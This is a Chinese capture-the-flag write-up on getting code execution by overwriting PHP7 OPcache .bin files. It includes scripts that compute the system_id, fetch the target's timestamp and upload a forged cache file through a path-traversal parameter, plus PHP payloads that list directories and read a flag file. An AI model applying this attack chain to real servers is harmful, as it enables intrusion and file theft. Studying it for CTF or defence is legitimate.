php7的OPcache导致的getshell

简介: 参考文献:https://www.jianshu.com/p/e675bd51c61http://www.vuln.cn/6763https://github.com/GoSecure/php7-opcache-override题目http://202.120.7.217:9527Opcache 是一个 PHP 内置的加速模块就行,当 PHP 解析器在解析一个 PHP 文件的时候,假如该文件对应的 byte-code 存储在内存中,则省去了转换过程直接执行了;反之则会编译,并将编译后的 byte-code 存入到内存中(以文件名作为索引)。

参考文献:https://www.jianshu.com/p/e675bd51c61
http://www.vuln.cn/6763
https://github.com/GoSecure/php7-opcache-override

题目
http://202.120.7.217:9527

Opcache 是一个 PHP 内置的加速模块就行,当 PHP 解析器在解析一个 PHP 文件的时候,假如该文件对应的 byte-code 存储在内存中,则省去了转换过程直接执行了;反之则会编译,并将编译后的 byte-code 存入到内存中(以文件名作为索引)。

在php7中利用默认的OPcache引擎实施攻击的方式:利用此攻击向量,攻击者可以绕过Web目录禁止文件读写的限制,也可以执行恶意代码

利用条件:

  • 目标服务器是php7并开启了opcache缓存
  • 获得目标详细的各种环境信息,最直接的是拿到phpinfo
  • 支持文件上传,能上传.bin文件到tmp目录下
  • 若目标服务器开启了时间戳校验,要么爆破时间戳,或者cms的大部分文件并不会被修改,时间戳与源码一致

在指定的目录中,OPcache存储了已编译的php脚本文件,这些缓存文件被放置在和web目录一致的目录结构中。如,编译后的/var/www/html/index.php文件的缓存会被存储在/tmp/cache/system_id/var/www/html/index.php.bin。system_id是当前PHP版本号,Zend 扩展版本号以及各个数据类型大小的 MD5 哈希值。在最新版的 Ubuntu(16.04)中,system_id 是通过当前 Zend 和 PHP 的版本号计算出来的,其值为* 81d80d78c6ef96b89afaadc7ffc5d7ea*
当OPcache在第一次缓存文件时,上述目录就会被创建。运行Web服务的用户对OPcache缓存目录(如:/tmp/opcache/)里面的所有子目录以及文件都具有写权限。
要利用OPcache执行代码,需要先找到OPcache的缓存目录(如:/tmp/opcache/system_id)以及Web目录(如:/var/www)。假设,目标站点已经存在一个执行phpinfo()函数的文件了。通过这个文件,我们可以获得OPcache缓存目录,Web目录,以及计算system_id所需的几个字段值

思路

  • 先在本地搭建环境,生成自己的index.php的opcache
  • 访问目标服务器的index.php?action=phpinfo,得到phpinfo,并通过项目https://github.com/GoSecure/php7-opcache-override计算得到其system_id
  • 先访问index.php?action=reset再访问index.php?action=time,清空服务器的index.php然后重新touch index.php,并获得其时间戳
  • 修改自己本地的index.php.bin的system_id和时间戳,与服务器相同,并上传到目标服务器的tmp相应目录下
  • 访问index.php?action=shell,成功include index.php,此时以缓存的内容为主,成功 get shell

本地搭建测试环境。
chmod 777 /tmp/opcache(不给全部权限的话,会不出东西。。。)
切换到/etc/php/7.0/apache2/php.ini,在php.ini里面加入,然后重启apache2服务

[opcache]
opcache.validate_timestamps = 0   ; PHP 7 的默认值为 1,即开启时间戳校验
opcache.file_cache_only = 1      ; PHP 7 的默认值为 0
opcache.file_cache = /tmp/opcache
[php]
zend_extension=opcache.so ;有些还需要再添加这句

在/var/www/html/opcache目录下创建一个index.php,里面内容随便填写,然后运行
wget 127.0.0.1/opcache/index.php

img_aaffc05514ac39ce7eaabce7b21378cb.png
3.png

然后在/tmp/opcache目录下出现了缓存配置


img_b205d0767d6242576bf191ac3ead8697.png
4.png

获得目标服务器的system_id和时间戳
http://202.120.7.217:9527/index.php?action=phpinfo得到服务器的phpinfo.txt

import hashlib
from hashlib import md5
php_version = '7.0.28'
zend_extension_id = 'API320151012,NTS'
architecture = 'x86_64'
zend_bin_id = 'BIN_SIZEOF_CHAR48888'

print ('PHP version :' + php_version)
print ('Zend Extension ID :' + zend_extension_id)
print ('Zend Bin ID :' + zend_bin_id)
print ('Assuming: ' + architecture + " architecture")

m = hashlib.md5((php_version + zend_extension_id + zend_bin_id).encode("gb2312"))

digest = m.hexdigest()
print ("------------")
print ('System ID : ' + digest)
img_878afbe9d51ba72d790731cf995aa977.png
5.png
import requests

url = 'http://202.120.7.217:9527/index.php?action=reset'
r = requests.get(url)

url = 'http://202.120.7.217:9527/index.php?action=time'
r = requests.get(url)

tmp =  hex(int(r.text)).replace('0x','')
time = tmp[6:8]+tmp[4:6]+tmp[2:4]+tmp[0:2]
print (time)

在010里面修改index.php.bin的system_id时间戳

img_fb187534a29407ce0284affab7b437b0.png
1.png

上传修改后的index.php.bin到目标服务器对应的tmp目录下(upload.php)

import requests

files = {'file': open("index.php.bin", 'rb')}
url = 'http://202.120.7.217:9527/index.php?action=upload&name=../../../../../../../../../tmp/cache/7badddeddbd076fe8352e80d8ddf3e73/var/www/html/sandbox/bad02726262861710a4eb6b90e0eb13ad8b7dacc/index.php.bin'
print ('upload url:')
print (url)
r = requests.post(url,files = files)
print (r)

url = 'http://202.120.7.217:9527/index.php?action=shell'
print ('shell:')
print (requests.get(url).text)

接下来各种写shell
目标服务器的目录权限限制,导致不能写入一句话木马,目标服务器的system等调用系统命令等函数被禁用,导致无法反弹shell
只能老老实实用php函数,读取想要的东西
修改index.php内容,读取目录信息

<?php
echo 'OK';
echo 'scan flag dir';
echo var_dump(scandir('/var/www/html/flag'));
echo 'scan sandbox';
echo var_dump(scandir('var/www/html/sandbox/bad02726262861710a4eb6b90e0eb13ad8b7dacc/'));
?>

运行python upload.php,发现可疑的文件或目录93f4c28c0cf0b07dfd7012dca2cb868cc0228ca

再修改index.php里面的内容。

<?php
echo 'OK';
echo 'read 93f4c28c0cf0b07dfd7012dca2cb868cc0228ca:';
echo base64_encode(file_get_contents('/var/www/html/flag/93f4c28c0cf0b07dfd7012dca2cb868cc0228ca'));
?>

运行python upload.php读取文件。

目录
相关文章
|
7月前
|
关系型数据库 MySQL PHP
PHP 原生操作 Mysql
PHP 原生操作 Mysql
81 0
|
7月前
|
关系型数据库 MySQL 数据库连接
PHP 原生连接 Mysql
PHP 原生连接 Mysql
107 0
|
7月前
|
关系型数据库 MySQL Unix
PHP MySql 安装与连接
PHP MySql 安装与连接
125 0
|
3月前
|
关系型数据库 MySQL PHP
|
3天前
|
PHP
web简易开发——通过php与HTML+css+mysql实现用户的登录,注册
web简易开发——通过php与HTML+css+mysql实现用户的登录,注册
|
7月前
|
关系型数据库 MySQL 数据库连接
PHP 原生操作 Mysql 增删改查案例
PHP 原生操作 Mysql 增删改查案例
87 0
|
2月前
|
监控 关系型数据库 MySQL
PHP与MySQL的结合:实现局域网上网行为监控软件的数据库管理
在当今信息化时代,网络安全日益成为重要的话题。为了有效监控和管理局域网上网行为,开发一个基于PHP和MySQL的数据库管理系统是一个理想的选择。本文将介绍如何结合PHP和MySQL,开发一款简单而高效的局域网上网行为监控软件,并重点关注数据库管理方面的实现。
184 0
|
8月前
|
运维 关系型数据库 MySQL
【运维知识进阶篇】集群架构-Nginx实现基础web架构(Linux+Nginx+PHP+Mysql)(二)
【运维知识进阶篇】集群架构-Nginx实现基础web架构(Linux+Nginx+PHP+Mysql)(二)
201 0
|
8月前
|
消息中间件 NoSQL 关系型数据库
Linux安装 OpenResty、Nginx、PHP、Mysql、Redis、Lua、Node、Golang、MongoDB、Kafka等
Linux安装 OpenResty、Nginx、PHP、Mysql、Redis、Lua、Node、Golang、MongoDB、Kafka等
103 0
|
4月前
|
NoSQL 关系型数据库 应用服务中间件
Linux安装 OpenResty、Nginx、PHP、Mysql、Redis、Lua、Node、Golang、MongoDB、Kafka等
Linux安装 OpenResty、Nginx、PHP、Mysql、Redis、Lua、Node、Golang、MongoDB、Kafka等
88 0